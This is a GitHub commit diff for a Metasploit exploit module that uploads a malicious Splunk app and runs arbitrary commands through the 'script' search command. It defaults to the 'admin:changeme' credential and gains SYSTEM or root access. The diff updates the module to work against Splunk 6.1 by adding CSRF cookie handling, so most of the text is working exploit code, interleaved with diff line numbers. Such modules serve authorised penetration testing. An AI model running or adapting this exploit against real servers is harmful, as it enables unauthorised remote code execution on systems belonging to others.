You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This module exploits a feature of Splunk whereby a custom application can be
18
18
uploaded through the web based interface. Through the 'script' search command a
19
19
user can call commands defined in their custom application which includes arbitrary
20
20
perl or python code. To abuse this behavior, a valid Splunk user with the admin
21
21
role is required. By default, this module uses the credential of "admin:changeme",
22
22
the default Administrator credential for Splunk. Note that the Splunk web interface
23
-
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
24
-
been tested successfully against Splunk 5.0.
23
+
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
24
+
tested successfully against Splunk 5.0, 6.1, and 6.1.1.
25
25
},
26
26
'Author'=>
27
27
[
28
28
"marcwickenden",# discovery and metasploit module
29
29
"sinn3r",# metasploit module
30
-
"juan vazquez"# metasploit module
30
+
"juan vazquez",# metasploit module
31
+
"Gary Blosser"# metasploit module updates for Splunk 6.1
31
32
],
32
33
'License'=>MSF_LICENSE,
33
34
'References'=>
@@ -44,13 +45,13 @@ def initialize(info = {})
44
45
'Platform'=>%w{linuxunixwin},
45
46
'Targets'=>
46
47
[
47
-
['Splunk 5.0.1 / Linux',
48
+
['Splunk >= 5.0.1 / Linux',
48
49
{
49
50
'Arch'=>ARCH_CMD,
50
51
'Platform'=>%w{linuxunix}
51
52
}
52
53
],
53
-
['Splunk 5.0.1 / Windows',
54
+
['Splunk >= 5.0.1 / Windows',
54
55
{
55
56
'Arch'=>ARCH_CMD,
56
57
'Platform'=>'win'
@@ -96,6 +97,7 @@ def exploit
96
97
# set up some variables for later use
97
98
@auth_cookies=''
98
99
@csrf_form_key=''
100
+
@csrf_form_port="splunkweb_csrf_token_#{rport}"#Default to using rport, corrected during tokenization for v6 below.
99
101
app_name='upload_app_exec'
100
102
p=payload.encoded
101
103
print_status("Using command: #{p}")
@@ -121,11 +123,11 @@ def exploit
121
123
{
122
124
'uri'=>'/en-US/api/search/jobs',
123
125
'method'=>'POST',
124
-
'cookie'=>@auth_cookies,
126
+
'cookie'=>"#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",# Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
125
127
'headers'=>
126
128
{
127
129
'X-Requested-With'=>'XMLHttpRequest',
128
-
'X-Splunk-Form-Key'=>@csrf_form_key
130
+
'X-Splunk-Form-Key'=>@csrf_form_key# Version 6 ignores extra headers (verified)
'cookie'=>"#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
0 commit comments